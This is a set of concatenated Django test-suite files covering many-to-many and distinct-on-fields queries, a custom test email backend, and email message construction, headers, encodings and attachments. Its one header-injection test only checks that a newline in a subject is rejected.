        a = Author.objects.get(last_name__exact='Smith')
        self.assertEqual('John', a.first_name)
        self.assertEqual('Smith', a.last_name)
        with self.assertRaisesMessage(AttributeError, "'Author' object has no attribute 'firstname'"):
            getattr(a, 'firstname')

        with self.assertRaisesMessage(AttributeError, "'Author' object has no attribute 'last'"):
            getattr(a, 'last')

    def test_m2m_table(self):
        self.assertQuerysetEqual(
            self.article.authors.all().order_by('last_name'),
            ['<Author: Peter Jones>', '<Author: John Smith>']
        )
        self.assertQuerysetEqual(
            self.a1.article_set.all(),
            ['<Article: Django lets you build Web apps easily>']
        )
        self.assertQuerysetEqual(
            self.article.authors.filter(last_name='Jones'),
            ['<Author: Peter Jones>']
        )






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Tag(models.Model):
    name = models.CharField(max_length=10)
    parent = models.ForeignKey(
        'self',
        models.SET_NULL,
        blank=True,
        null=True,
        related_name='children',
    )

    class Meta:
        ordering = ['name']

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Celebrity(models.Model):
    name = models.CharField("Name", max_length=20)
    greatest_fan = models.ForeignKey(
        "Fan",
        models.SET_NULL,
        null=True,
        unique=True,
    )

    def __str__(self):
        return self.name


class Fan(models.Model):
    fan_of = models.ForeignKey(Celebrity, models.CASCADE)


@python_2_unicode_compatible
class Staff(models.Model):
    id = models.IntegerField(primary_key=True)
    name = models.CharField(max_length=50)
    organisation = models.CharField(max_length=100)
    tags = models.ManyToManyField(Tag, through='StaffTag')
    coworkers = models.ManyToManyField('self')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class StaffTag(models.Model):
    staff = models.ForeignKey(Staff, models.CASCADE)
    tag = models.ForeignKey(Tag, models.CASCADE)

    def __str__(self):
        return "%s -> %s" % (self.tag, self.staff)












from __future__ import unicode_literals

from django.db.models import Max
from django.test import TestCase, skipUnlessDBFeature
from django.test.utils import str_prefix

from .models import Celebrity, Fan, Staff, StaffTag, Tag


@skipUnlessDBFeature('can_distinct_on_fields')
@skipUnlessDBFeature('supports_nullable_unique_constraints')
class DistinctOnTests(TestCase):
    def setUp(self):
        t1 = Tag.objects.create(name='t1')
        Tag.objects.create(name='t2', parent=t1)
        t3 = Tag.objects.create(name='t3', parent=t1)
        Tag.objects.create(name='t4', parent=t3)
        Tag.objects.create(name='t5', parent=t3)

        self.p1_o1 = Staff.objects.create(id=1, name="p1", organisation="o1")
        self.p2_o1 = Staff.objects.create(id=2, name="p2", organisation="o1")
        self.p3_o1 = Staff.objects.create(id=3, name="p3", organisation="o1")
        self.p1_o2 = Staff.objects.create(id=4, name="p1", organisation="o2")
        self.p1_o1.coworkers.add(self.p2_o1, self.p3_o1)
        StaffTag.objects.create(staff=self.p1_o1, tag=t1)
        StaffTag.objects.create(staff=self.p1_o1, tag=t1)

        celeb1 = Celebrity.objects.create(name="c1")
        celeb2 = Celebrity.objects.create(name="c2")

        self.fan1 = Fan.objects.create(fan_of=celeb1)
        self.fan2 = Fan.objects.create(fan_of=celeb1)
        self.fan3 = Fan.objects.create(fan_of=celeb2)

    def test_basic_distinct_on(self):
        """QuerySet.distinct('field', ...) works"""
        # (qset, expected) tuples
        qsets = (
            (
                Staff.objects.distinct().order_by('name'),
                ['<Staff: p1>', '<Staff: p1>', '<Staff: p2>', '<Staff: p3>'],
            ),
            (
                Staff.objects.distinct('name').order_by('name'),
                ['<Staff: p1>', '<Staff: p2>', '<Staff: p3>'],
            ),
            (
                Staff.objects.distinct('organisation').order_by('organisation', 'name'),
                ['<Staff: p1>', '<Staff: p1>'],
            ),
            (
                Staff.objects.distinct('name', 'organisation').order_by('name', 'organisation'),
                ['<Staff: p1>', '<Staff: p1>', '<Staff: p2>', '<Staff: p3>'],
            ),
            (
                Celebrity.objects.filter(fan__in=[self.fan1, self.fan2, self.fan3]).distinct('name').order_by('name'),
                ['<Celebrity: c1>', '<Celebrity: c2>'],
            ),
            # Does combining querysets work?
            (
                (Celebrity.objects.filter(fan__in=[self.fan1, self.fan2]).
                    distinct('name').order_by('name') |
                 Celebrity.objects.filter(fan__in=[self.fan3]).
                    distinct('name').order_by('name')),
                ['<Celebrity: c1>', '<Celebrity: c2>'],
            ),
            (
                StaffTag.objects.distinct('staff', 'tag'),
                ['<StaffTag: t1 -> p1>'],
            ),
            (
                Tag.objects.order_by('parent__pk', 'pk').distinct('parent'),
                ['<Tag: t2>', '<Tag: t4>', '<Tag: t1>'],
            ),
            (
                StaffTag.objects.select_related('staff').distinct('staff__name').order_by('staff__name'),
                ['<StaffTag: t1 -> p1>'],
            ),
            # Fetch the alphabetically first coworker for each worker
            (
                (Staff.objects.distinct('id').order_by('id', 'coworkers__name').
                    values_list('id', 'coworkers__name')),
                [str_prefix("(1, %(_)s'p2')"), str_prefix("(2, %(_)s'p1')"),
                 str_prefix("(3, %(_)s'p1')"), "(4, None)"]
            ),
        )
        for qset, expected in qsets:
            self.assertQuerysetEqual(qset, expected)
            self.assertEqual(qset.count(), len(expected))

        # Combining queries with different distinct_fields is not allowed.
        base_qs = Celebrity.objects.all()
        with self.assertRaisesMessage(AssertionError, "Cannot combine queries with different distinct fields."):
            base_qs.distinct('id') & base_qs.distinct('name')

        # Test join unreffing
        c1 = Celebrity.objects.distinct('greatest_fan__id', 'greatest_fan__fan_of')
        self.assertIn('OUTER JOIN', str(c1.query))
        c2 = c1.distinct('pk')
        self.assertNotIn('OUTER JOIN', str(c2.query))

    def test_distinct_not_implemented_checks(self):
        # distinct + annotate not allowed
        with self.assertRaises(NotImplementedError):
            Celebrity.objects.annotate(Max('id')).distinct('id')[0]
        with self.assertRaises(NotImplementedError):
            Celebrity.objects.distinct('id').annotate(Max('id'))[0]

        # However this check is done only when the query executes, so you
        # can use distinct() to remove the fields before execution.
        Celebrity.objects.distinct('id').annotate(Max('id')).distinct()[0]
        # distinct + aggregate not allowed
        with self.assertRaises(NotImplementedError):
            Celebrity.objects.distinct('id').aggregate(Max('id'))

    def test_distinct_on_in_ordered_subquery(self):
        qs = Staff.objects.distinct('name').order_by('name', 'id')
        qs = Staff.objects.filter(pk__in=qs).order_by('name')
        self.assertQuerysetEqual(
            qs, [self.p1_o1, self.p2_o1, self.p3_o1],
            lambda x: x
        )
        qs = Staff.objects.distinct('name').order_by('name', '-id')
        qs = Staff.objects.filter(pk__in=qs).order_by('name')
        self.assertQuerysetEqual(
            qs, [self.p1_o2, self.p2_o1, self.p3_o1],
            lambda x: x
        )

    def test_distinct_on_get_ordering_preserved(self):
        """
        Ordering shouldn't be cleared when distinct on fields are specified.
        refs #25081
        """
        staff = Staff.objects.distinct('name').order_by('name', '-organisation').get(name='p1')
        self.assertEqual(staff.organisation, 'o2')






"""A custom backend for testing."""

from django.core.mail.backends.base import BaseEmailBackend


class EmailBackend(BaseEmailBackend):

    def __init__(self, *args, **kwargs):
        super(EmailBackend, self).__init__(*args, **kwargs)
        self.test_outbox = []

    def send_messages(self, email_messages):
        # Messages are stored in an instance variable for testing.
        self.test_outbox.extend(email_messages)
        return len(email_messages)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import asyncore
import mimetypes
import os
import shutil
import smtpd
import sys
import tempfile
import threading
from email.header import Header
from email.mime.text import MIMEText
from smtplib import SMTP, SMTPException
from ssl import SSLError

from django.core import mail
from django.core.mail import (
    EmailMessage, EmailMultiAlternatives, mail_admins, mail_managers,
    send_mail, send_mass_mail,
)
from django.core.mail.backends import console, dummy, filebased, locmem, smtp
from django.core.mail.message import BadHeaderError, sanitize_address
from django.test import SimpleTestCase, override_settings
from django.test.utils import requires_tz_support
from django.utils._os import upath
from django.utils.encoding import force_bytes, force_text
from django.utils.six import PY3, StringIO, binary_type
from django.utils.translation import ugettext_lazy

if PY3:
    from email.utils import parseaddr
    from email import message_from_bytes, message_from_binary_file
else:
    from email.Utils import parseaddr
    from email import (
        message_from_string as message_from_bytes,
        message_from_file as message_from_binary_file,
    )


class HeadersCheckMixin(object):

    def assertMessageHasHeaders(self, message, headers):
        """
        Check that :param message: has all :param headers: headers.

        :param message: can be an instance of an email.Message subclass or a
        string with the contents of an email message.
        :param headers: should be a set of (header-name, header-value) tuples.
        """
        if isinstance(message, binary_type):
            message = message_from_bytes(message)
        msg_headers = set(message.items())
        self.assertTrue(headers.issubset(msg_headers), msg='Message is missing '
                        'the following headers: %s' % (headers - msg_headers),)


class MailTests(HeadersCheckMixin, SimpleTestCase):
    """
    Non-backend specific tests.
    """
    def get_decoded_attachments(self, django_message):
        """
        Encode the specified django.core.mail.message.EmailMessage, then decode
        it using Python's email.parser module and, for each attachment of the
        message, return a list of tuples with (filename, content, mimetype).
        """
        msg_bytes = django_message.message().as_bytes()
        email_message = message_from_bytes(msg_bytes)

        def iter_attachments():
            for i in email_message.walk():
                # Once support for Python<3.5 has been dropped, we can use
                # i.get_content_disposition() here instead.
                content_disposition = i.get('content-disposition', '').split(';')[0].lower()
                if content_disposition == 'attachment':
                    filename = i.get_filename()
                    content = i.get_payload(decode=True)
                    mimetype = i.get_content_type()
                    yield filename, content, mimetype

        return list(iter_attachments())

    def test_ascii(self):
        email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com'])
        message = email.message()
        self.assertEqual(message['Subject'], 'Subject')
        self.assertEqual(message.get_payload(), 'Content')
        self.assertEqual(message['From'], 'from@example.com')
        self.assertEqual(message['To'], 'to@example.com')

    def test_multiple_recipients(self):
        email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com', 'other@example.com'])
        message = email.message()
        self.assertEqual(message['Subject'], 'Subject')
        self.assertEqual(message.get_payload(), 'Content')
        self.assertEqual(message['From'], 'from@example.com')
        self.assertEqual(message['To'], 'to@example.com, other@example.com')

    def test_cc(self):
        """Regression test for #7722"""
        email = EmailMessage('Subject', 'Content', 'from@example.com', ['to@example.com'], cc=['cc@example.com'])
        message = email.message()
        self.assertEqual(message['Cc'], 'cc@example.com')
        self.assertEqual(email.recipients(), ['to@example.com', 'cc@example.com'])

        # Test multiple CC with multiple To
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com', ['to@example.com', 'other@example.com'],
            cc=['cc@example.com', 'cc.other@example.com']
        )
        message = email.message()
        self.assertEqual(message['Cc'], 'cc@example.com, cc.other@example.com')
        self.assertEqual(
            email.recipients(),
            ['to@example.com', 'other@example.com', 'cc@example.com', 'cc.other@example.com']
        )

        # Testing with Bcc
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com', ['to@example.com', 'other@example.com'],
            cc=['cc@example.com', 'cc.other@example.com'], bcc=['bcc@example.com']
        )
        message = email.message()
        self.assertEqual(message['Cc'], 'cc@example.com, cc.other@example.com')
        self.assertEqual(
            email.recipients(),
            ['to@example.com', 'other@example.com', 'cc@example.com', 'cc.other@example.com', 'bcc@example.com']
        )

    def test_reply_to(self):
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com', ['to@example.com'],
            reply_to=['reply_to@example.com'],
        )
        message = email.message()
        self.assertEqual(message['Reply-To'], 'reply_to@example.com')

        email = EmailMessage(
            'Subject', 'Content', 'from@example.com', ['to@example.com'],
            reply_to=['reply_to1@example.com', 'reply_to2@example.com']
        )
        message = email.message()
        self.assertEqual(message['Reply-To'], 'reply_to1@example.com, reply_to2@example.com')

    def test_recipients_as_tuple(self):
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com', ('to@example.com', 'other@example.com'),
            cc=('cc@example.com', 'cc.other@example.com'), bcc=('bcc@example.com',)
        )
        message = email.message()
        self.assertEqual(message['Cc'], 'cc@example.com, cc.other@example.com')
        self.assertEqual(
            email.recipients(),
            ['to@example.com', 'other@example.com', 'cc@example.com', 'cc.other@example.com', 'bcc@example.com']
        )

    def test_recipients_as_string(self):
        with self.assertRaisesMessage(TypeError, '"to" argument must be a list or tuple'):
            EmailMessage(to='foo@example.com')
        with self.assertRaisesMessage(TypeError, '"cc" argument must be a list or tuple'):
            EmailMessage(cc='foo@example.com')
        with self.assertRaisesMessage(TypeError, '"bcc" argument must be a list or tuple'):
            EmailMessage(bcc='foo@example.com')
        with self.assertRaisesMessage(TypeError, '"reply_to" argument must be a list or tuple'):
            EmailMessage(reply_to='reply_to@example.com')

    def test_header_injection(self):
        email = EmailMessage('Subject\nInjection Test', 'Content', 'from@example.com', ['to@example.com'])
        with self.assertRaises(BadHeaderError):
            email.message()
        email = EmailMessage(
            ugettext_lazy('Subject\nInjection Test'), 'Content', 'from@example.com', ['to@example.com']
        )
        with self.assertRaises(BadHeaderError):
            email.message()

    def test_space_continuation(self):
        """
        Test for space continuation character in long (ASCII) subject headers (#7747)
        """
        email = EmailMessage(
            'Long subject lines that get wrapped should contain a space '
            'continuation character to get expected behavior in Outlook and Thunderbird',
            'Content', 'from@example.com', ['to@example.com']
        )
        message = email.message()
        # Note that in Python 3, maximum line length has increased from 76 to 78
        self.assertEqual(
            message['Subject'].encode(),
            b'Long subject lines that get wrapped should contain a space continuation\n'
            b' character to get expected behavior in Outlook and Thunderbird'
        )

    def test_message_header_overrides(self):
        """
        Specifying dates or message-ids in the extra headers overrides the
        default values (#9233)
        """
        headers = {"date": "Fri, 09 Nov 2001 01:08:47 -0000", "Message-ID": "foo"}
        email = EmailMessage('subject', 'content', 'from@example.com', ['to@example.com'], headers=headers)

        self.assertMessageHasHeaders(email.message(), {
            ('Content-Transfer-Encoding', '7bit'),
            ('Content-Type', 'text/plain; charset="utf-8"'),
            ('From', 'from@example.com'),
            ('MIME-Version', '1.0'),
            ('Message-ID', 'foo'),
            ('Subject', 'subject'),
            ('To', 'to@example.com'),
            ('date', 'Fri, 09 Nov 2001 01:08:47 -0000'),
        })

    def test_from_header(self):
        """
        Make sure we can manually set the From header (#9214)
        """
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        message = email.message()
        self.assertEqual(message['From'], 'from@example.com')

    def test_to_header(self):
        """
        Make sure we can manually set the To header (#17444)
        """
        email = EmailMessage('Subject', 'Content', 'bounce@example.com',
                             ['list-subscriber@example.com', 'list-subscriber2@example.com'],
                             headers={'To': 'mailing-list@example.com'})
        message = email.message()
        self.assertEqual(message['To'], 'mailing-list@example.com')
        self.assertEqual(email.to, ['list-subscriber@example.com', 'list-subscriber2@example.com'])

        # If we don't set the To header manually, it should default to the `to` argument to the constructor
        email = EmailMessage('Subject', 'Content', 'bounce@example.com',
                             ['list-subscriber@example.com', 'list-subscriber2@example.com'])
        message = email.message()
        self.assertEqual(message['To'], 'list-subscriber@example.com, list-subscriber2@example.com')
        self.assertEqual(email.to, ['list-subscriber@example.com', 'list-subscriber2@example.com'])

    def test_reply_to_header(self):
        """
        Specifying 'Reply-To' in headers should override reply_to.
        """
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            reply_to=['foo@example.com'], headers={'Reply-To': 'override@example.com'},
        )
        message = email.message()
        self.assertEqual(message['Reply-To'], 'override@example.com')

    def test_multiple_message_call(self):
        """
        Regression for #13259 - Make sure that headers are not changed when
        calling EmailMessage.message()
        """
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        message = email.message()
        self.assertEqual(message['From'], 'from@example.com')
        message = email.message()
        self.assertEqual(message['From'], 'from@example.com')

    def test_unicode_address_header(self):
        """
        Regression for #11144 - When a to/from/cc header contains unicode,
        make sure the email addresses are parsed correctly (especially with
        regards to commas)
        """
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com',
            ['"Firstname Sürname" <to@example.com>', 'other@example.com'],
        )
        self.assertEqual(
            email.message()['To'],
            '=?utf-8?q?Firstname_S=C3=BCrname?= <to@example.com>, other@example.com'
        )
        email = EmailMessage(
            'Subject', 'Content', 'from@example.com',
            ['"Sürname, Firstname" <to@example.com>', 'other@example.com'],
        )
        self.assertEqual(
            email.message()['To'],
            '=?utf-8?q?S=C3=BCrname=2C_Firstname?= <to@example.com>, other@example.com'
        )

    def test_unicode_headers(self):
        email = EmailMessage("Gżegżółka", "Content", "from@example.com", ["to@example.com"],
                             headers={"Sender": '"Firstname Sürname" <sender@example.com>',
                                      "Comments": 'My Sürname is non-ASCII'})
        message = email.message()
        self.assertEqual(message['Subject'], '=?utf-8?b?R8W8ZWfFvMOzxYJrYQ==?=')
        self.assertEqual(message['Sender'], '=?utf-8?q?Firstname_S=C3=BCrname?= <sender@example.com>')
        self.assertEqual(message['Comments'], '=?utf-8?q?My_S=C3=BCrname_is_non-ASCII?=')

    def test_safe_mime_multipart(self):
        """
        Make sure headers can be set with a different encoding than utf-8 in
        SafeMIMEMultipart as well
        """
        headers = {"Date": "Fri, 09 Nov 2001 01:08:47 -0000", "Message-ID": "foo"}
        from_email, to = 'from@example.com', '"Sürname, Firstname" <to@example.com>'
        text_content = 'This is an important message.'
        html_content = '<p>This is an <strong>important</strong> message.</p>'
        msg = EmailMultiAlternatives('Message from Firstname Sürname', text_content, from_email, [to], headers=headers)
        msg.attach_alternative(html_content, "text/html")
        msg.encoding = 'iso-8859-1'
        self.assertEqual(msg.message()['To'], '=?iso-8859-1?q?S=FCrname=2C_Firstname?= <to@example.com>')
        self.assertEqual(msg.message()['Subject'], '=?iso-8859-1?q?Message_from_Firstname_S=FCrname?=')

    def test_encoding(self):
        """
        Regression for #12791 - Encode body correctly with other encodings
        than utf-8
        """
        email = EmailMessage('Subject', 'Firstname Sürname is a great guy.', 'from@example.com', ['other@example.com'])
        email.encoding = 'iso-8859-1'
        message = email.message()
        self.assertMessageHasHeaders(message, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/plain; charset="iso-8859-1"'),
            ('Content-Transfer-Encoding', 'quoted-printable'),
            ('Subject', 'Subject'),
            ('From', 'from@example.com'),
            ('To', 'other@example.com')})
        self.assertEqual(message.get_payload(), 'Firstname S=FCrname is a great guy.')

        # Make sure MIME attachments also works correctly with other encodings than utf-8
        text_content = 'Firstname Sürname is a great guy.'
        html_content = '<p>Firstname Sürname is a <strong>great</strong> guy.</p>'
        msg = EmailMultiAlternatives('Subject', text_content, 'from@example.com', ['to@example.com'])
        msg.encoding = 'iso-8859-1'
        msg.attach_alternative(html_content, "text/html")
        payload0 = msg.message().get_payload(0)
        self.assertMessageHasHeaders(payload0, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/plain; charset="iso-8859-1"'),
            ('Content-Transfer-Encoding', 'quoted-printable')})
        self.assertTrue(payload0.as_bytes().endswith(b'\n\nFirstname S=FCrname is a great guy.'))
        payload1 = msg.message().get_payload(1)
        self.assertMessageHasHeaders(payload1, {
            ('MIME-Version', '1.0'),
            ('Content-Type', 'text/html; charset="iso-8859-1"'),
            ('Content-Transfer-Encoding', 'quoted-printable')})
        self.assertTrue(
            payload1.as_bytes().endswith(b'\n\n<p>Firstname S=FCrname is a <strong>great</strong> guy.</p>')
        )

    def test_attachments(self):
        """Regression test for #9367"""
        headers = {"Date": "Fri, 09 Nov 2001 01:08:47 -0000", "Message-ID": "foo"}
        subject, from_email, to = 'hello', 'from@example.com', 'to@example.com'
        text_content = 'This is an important message.'
        html_content = '<p>This is an <strong>important</strong> message.</p>'
        msg = EmailMultiAlternatives(subject, text_content, from_email, [to], headers=headers)
        msg.attach_alternative(html_content, "text/html")
        msg.attach("an attachment.pdf", b"%PDF-1.4.%...", mimetype="application/pdf")
        msg_bytes = msg.message().as_bytes()
        message = message_from_bytes(msg_bytes)
        self.assertTrue(message.is_multipart())
        self.assertEqual(message.get_content_type(), 'multipart/mixed')
        self.assertEqual(message.get_default_type(), 'text/plain')
        payload = message.get_payload()
        self.assertEqual(payload[0].get_content_type(), 'multipart/alternative')
        self.assertEqual(payload[1].get_content_type(), 'application/pdf')

    def test_non_ascii_attachment_filename(self):
        """Regression test for #14964"""
        headers = {"Date": "Fri, 09 Nov 2001 01:08:47 -0000", "Message-ID": "foo"}
        subject, from_email, to = 'hello', 'from@example.com', 'to@example.com'
        content = 'This is the message.'
        msg = EmailMessage(subject, content, from_email, [to], headers=headers)
        # Unicode in file name
        msg.attach("une pièce jointe.pdf", b"%PDF-1.4.%...", mimetype="application/pdf")
        msg_bytes = msg.message().as_bytes()
        message = message_from_bytes(msg_bytes)
        payload = message.get_payload()
        self.assertEqual(payload[1].get_filename(), 'une pièce jointe.pdf')

    def test_attach_file(self):
        """
        Test attaching a file against different mimetypes and make sure that
        a file will be attached and sent properly even if an invalid mimetype
        is specified.
        """
        files = (
            # filename, actual mimetype
            ('file.txt', 'text/plain'),
            ('file.png', 'image/png'),
            ('file_txt', None),
            ('file_png', None),
            ('file_txt.png', 'image/png'),
            ('file_png.txt', 'text/plain'),
        )
        test_mimetypes = ['text/plain', 'image/png', None]

        for basename, real_mimetype in files:
            for mimetype in test_mimetypes:
                email = EmailMessage('subject', 'body', 'from@example.com', ['to@example.com'])
                self.assertEqual(mimetypes.guess_type(basename)[0], real_mimetype)
                self.assertEqual(email.attachments, [])
                file_path = os.path.join(os.path.dirname(upath(__file__)), 'attachments', basename)
                email.attach_file(file_path, mimetype=mimetype)
                self.assertEqual(len(email.attachments), 1)
                self.assertIn(basename, email.attachments[0])
                msgs_sent_num = email.send()
                self.assertEqual(msgs_sent_num, 1)

    def test_attach_text_as_bytes(self):
        msg = EmailMessage('subject', 'body', 'from@example.com', ['to@example.com'])
        msg.attach('file.txt', b'file content')
        # Check that the message would be sent at all.
        sent_num = msg.send()
        self.assertEqual(sent_num, 1)
        filename, content, mimetype = self.get_decoded_attachments(msg)[0]
        self.assertEqual(filename, 'file.txt')
        self.assertEqual(content, b'file content')
        self.assertEqual(mimetype, 'text/plain')

    def test_attach_utf8_text_as_bytes(self):
        """
        Non-ASCII characters encoded as valid UTF-8 are correctly transported
        and decoded.
        """
        msg = EmailMessage('subject', 'body', 'from@example.com', ['to@example.com'])
        msg.attach('file.txt', b'\xc3\xa4')  # UTF-8 encoded a umlaut.
        filename, content, mimetype = self.get_decoded_attachments(msg)[0]
        self.assertEqual(filename, 'file.txt')
        self.assertEqual(content, b'\xc3\xa4')
        self.assertEqual(mimetype, 'text/plain')

    def test_attach_non_utf8_text_as_bytes(self):
        """
        Binary data that can't be decoded as UTF-8 overrides the MIME type
        instead of decoding the data.
        """
        msg = EmailMessage('subject', 'body', 'from@example.com', ['to@example.com'])
        msg.attach('file.txt', b'\xff')  # Invalid UTF-8.
        filename, content, mimetype = self.get_decoded_attachments(msg)[0]
        self.assertEqual(filename, 'file.txt')
        # Content should be passed through unmodified.
        self.assertEqual(content, b'\xff')
        self.assertEqual(mimetype, 'application/octet-stream')

    def test_dummy_backend(self):
        """
        Make sure that dummy backends returns correct number of sent messages
        """
        connection = dummy.EmailBackend()
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        self.assertEqual(connection.send_messages([email, email, email]), 3)

    def test_arbitrary_keyword(self):
        """
        Make sure that get_connection() accepts arbitrary keyword that might be
        used with custom backends.
        """
        c = mail.get_connection(fail_silently=True, foo='bar')
        self.assertTrue(c.fail_silently)

    def test_custom_backend(self):
        """Test custom backend defined in this suite."""
        conn = mail.get_connection('mail.custombackend.EmailBackend')
        self.assertTrue(hasattr(conn, 'test_outbox'))
        email = EmailMessage(
            'Subject', 'Content', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        conn.send_messages([email])
        self.assertEqual(len(conn.test_outbox), 1)

    def test_backend_arg(self):
        """Test backend argument of mail.get_connection()"""
        self.assertIsInstance(mail.get_connection('django.core.mail.backends.smtp.EmailBackend'), smtp.EmailBackend)
        self.assertIsInstance(
            mail.get_connection('django.core.mail.backends.locmem.EmailBackend'),
            locmem.EmailBackend
        )
        self.assertIsInstance(mail.get_connection('django.core.mail.backends.dummy.EmailBackend'), dummy.EmailBackend)
        self.assertIsInstance(
            mail.get_connection('django.core.mail.backends.console.EmailBackend'),
            console.EmailBackend
        )
        tmp_dir = tempfile.mkdtemp()
        try:
            self.assertIsInstance(
                mail.get_connection('django.core.mail.backends.filebased.EmailBackend', file_path=tmp_dir),
                filebased.EmailBackend
            )
        finally:
            shutil.rmtree(tmp_dir)
        self.assertIsInstance(mail.get_connection(), locmem.EmailBackend)

    @override_settings(
        EMAIL_BACKEND='django.core.mail.backends.locmem.EmailBackend',
        ADMINS=[('nobody', 'nobody@example.com')],
        MANAGERS=[('nobody', 'nobody@example.com')])
    def test_connection_arg(self):
        """Test connection argument to send_mail(), et. al."""
        mail.outbox = []

        # Send using non-default connection
        connection = mail.get_connection('mail.custombackend.EmailBackend')
        send_mail('Subject', 'Content', 'from@example.com', ['to@example.com'], connection=connection)
        self.assertEqual(mail.outbox, [])
        self.assertEqual(len(connection.test_outbox), 1)
        self.assertEqual(connection.test_outbox[0].subject, 'Subject')

        connection = mail.get_connection('mail.custombackend.EmailBackend')
        send_mass_mail([
            ('Subject1', 'Content1', 'from1@example.com', ['to1@example.com']),
            ('Subject2', 'Content2', 'from2@example.com', ['to2@example.com']),
        ], connection=connection)
        self.assertEqual(mail.outbox, [])
        self.assertEqual(len(connection.test_outbox), 2)
        self.assertEqual(connection.test_outbox[0].subject, 'Subject1')
        self.assertEqual(connection.test_outbox[1].subject, 'Subject2')

        connection = mail.get_connection('mail.custombackend.EmailBackend')
        mail_admins('Admin message', 'Content', connection=connection)
        self.assertEqual(mail.outbox, [])
        self.assertEqual(len(connection.test_outbox), 1)
        self.assertEqual(connection.test_outbox[0].subject, '[Django] Admin message')

        connection = mail.get_connection('mail.custombackend.EmailBackend')
        mail_managers('Manager message', 'Content', connection=connection)
        self.assertEqual(mail.outbox, [])
        self.assertEqual(len(connection.test_outbox), 1)
        self.assertEqual(connection.test_outbox[0].subject, '[Django] Manager message')

    def test_dont_mangle_from_in_body(self):
        # Regression for #13433 - Make sure that EmailMessage doesn't mangle
        # 'From ' in message body.
        email = EmailMessage(
            'Subject', 'From the future', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        self.assertNotIn(b'>From the future', email.message().as_bytes())

    def test_dont_base64_encode(self):
        # Ticket #3472
        # Shouldn't use Base64 encoding at all
        msg = EmailMessage(
            'Subject', 'UTF-8 encoded body', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        self.assertNotIn(b'Content-Transfer-Encoding: base64', msg.message().as_bytes())

        # Ticket #11212
        # Shouldn't use quoted printable, should detect it can represent content with 7 bit data
        msg = EmailMessage(
            'Subject', 'Body with only ASCII characters.', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        s = msg.message().as_bytes()
        self.assertNotIn(b'Content-Transfer-Encoding: quoted-printable', s)
        self.assertIn(b'Content-Transfer-Encoding: 7bit', s)

        # Shouldn't use quoted printable, should detect it can represent content with 8 bit data
        msg = EmailMessage(
            'Subject', 'Body with latin characters: àáä.', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        s = msg.message().as_bytes()
        self.assertNotIn(b'Content-Transfer-Encoding: quoted-printable', s)
        self.assertIn(b'Content-Transfer-Encoding: 8bit', s)

        msg = EmailMessage(
            'Subject', 'Body with non latin characters: А Б В Г Д Е Ж Ѕ З И І К Л М Н О П.', 'bounce@example.com',
            ['to@example.com'], headers={'From': 'from@example.com'},
        )
        s = msg.message().as_bytes()
        self.assertNotIn(b'Content-Transfer-Encoding: quoted-printable', s)
        self.assertIn(b'Content-Transfer-Encoding: 8bit', s)

    def test_dont_base64_encode_message_rfc822(self):
        # Ticket #18967
        # Shouldn't use base64 encoding for a child EmailMessage attachment.
        # Create a child message first
        child_msg = EmailMessage(
            'Child Subject', 'Some body of child message', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        child_s = child_msg.message().as_string()

        # Now create a parent
        parent_msg = EmailMessage(
            'Parent Subject', 'Some parent body', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )

        # Attach to parent as a string
        parent_msg.attach(content=child_s, mimetype='message/rfc822')
        parent_s = parent_msg.message().as_string()

        # Verify that the child message header is not base64 encoded
        self.assertIn(str('Child Subject'), parent_s)

        # Feature test: try attaching email.Message object directly to the mail.
        parent_msg = EmailMessage(
            'Parent Subject', 'Some parent body', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        parent_msg.attach(content=child_msg.message(), mimetype='message/rfc822')
        parent_s = parent_msg.message().as_string()

        # Verify that the child message header is not base64 encoded
        self.assertIn(str('Child Subject'), parent_s)

        # Feature test: try attaching Django's EmailMessage object directly to the mail.
        parent_msg = EmailMessage(
            'Parent Subject', 'Some parent body', 'bounce@example.com', ['to@example.com'],
            headers={'From': 'from@example.com'},
        )
        parent_msg.attach(content=child_msg, mimetype='message/rfc822')
        parent_s = parent_msg.message().as_string()

        # Verify that the child message header is not base64 encoded
        self.assertIn(str('Child Subject'), parent_s)

    def test_sanitize_address(self):
        """
        Email addresses are properly sanitized.
        """
        # Simple ASCII address - string form
        self.assertEqual(sanitize_address('to@example.com', 'ascii'), 'to@example.com')
        self.assertEqual(sanitize_address('to@example.com', 'utf-8'), 'to@example.com')
        # Bytestrings are transformed to normal strings.
        self.assertEqual(sanitize_address(b'to@example.com', 'utf-8'), 'to@example.com')

        # Simple ASCII address - tuple form
        self.assertEqual(
            sanitize_address(('A name', 'to@example.com'), 'ascii'),
            'A name <to@example.com>'
        )
        if PY3:
            self.assertEqual(
                sanitize_address(('A name', 'to@example.com'), 'utf-8'),
                '=?utf-8?q?A_name?= <to@example.com>'
            )
        else:
            self.assertEqual(
                sanitize_address(('A name', 'to@example.com'), 'utf-8'),
                'A name <to@example.com>'
            )

